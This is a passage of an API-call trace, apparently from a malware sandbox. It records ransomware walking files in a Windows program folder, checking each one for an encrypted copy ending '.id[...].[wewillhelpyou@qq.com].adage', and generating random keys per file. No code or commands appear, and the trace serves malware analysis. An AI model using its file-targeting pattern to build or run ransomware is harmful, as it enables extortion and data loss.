(hObject=0x1a8) returned 1 [0057.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0057.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.776] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.776] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2962) returned 1 [0057.776] CloseHandle (hObject=0x1a8) returned 1 [0057.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0057.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.776] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.777] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=30138) returned 1 [0057.777] CloseHandle (hObject=0x1a8) returned 1 [0057.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png")) returned 0x20 [0057.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.778] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.778] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5072) returned 1 [0057.778] CloseHandle (hObject=0x1a8) returned 1 [0057.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp")) returned 0x20 [0057.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.778] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.779] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4728) returned 1 [0057.779] CloseHandle (hObject=0x1a8) returned 1 [0057.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png")) returned 0x20 [0057.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.779] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.779] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5742) returned 1 [0057.779] CloseHandle (hObject=0x1a8) returned 1 [0057.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png")) returned 0x20 [0057.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.780] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.781] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4570) returned 1 [0057.781] CloseHandle (hObject=0x1a8) returned 1 [0057.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png")) returned 0x20 [0057.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.781] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.784] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2821) returned 1 [0057.784] CloseHandle (hObject=0x1a8) returned 1 [0057.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png")) returned 0x20 [0057.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.785] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.785] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=17378) returned 1 [0057.785] CloseHandle (hObject=0x1a8) returned 1 [0057.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png")) returned 0x20 [0057.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.785] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.785] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2903) returned 1 [0057.785] CloseHandle (hObject=0x1a8) returned 1 [0057.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png")) returned 0x20 [0057.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.786] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.786] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5088) returned 1 [0057.786] CloseHandle (hObject=0x1a8) returned 1 [0057.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png")) returned 0x20 [0057.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.787] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.787] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3130) returned 1 [0057.787] CloseHandle (hObject=0x1a8) returned 1 [0057.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png")) returned 0x20 [0057.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.787] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.787] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5025) returned 1 [0057.787] CloseHandle (hObject=0x1a8) returned 1 [0057.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png")) returned 0x20 [0057.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.788] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.788] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3118) returned 1 [0057.788] CloseHandle (hObject=0x1a8) returned 1 [0057.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png")) returned 0x20 [0057.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.789] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.789] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4955) returned 1 [0057.789] CloseHandle (hObject=0x1a8) returned 1 [0057.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png")) returned 0x20 [0057.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.789] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.789] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3081) returned 1 [0057.790] CloseHandle (hObject=0x1a8) returned 1 [0057.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png")) returned 0x20 [0057.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.790] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD 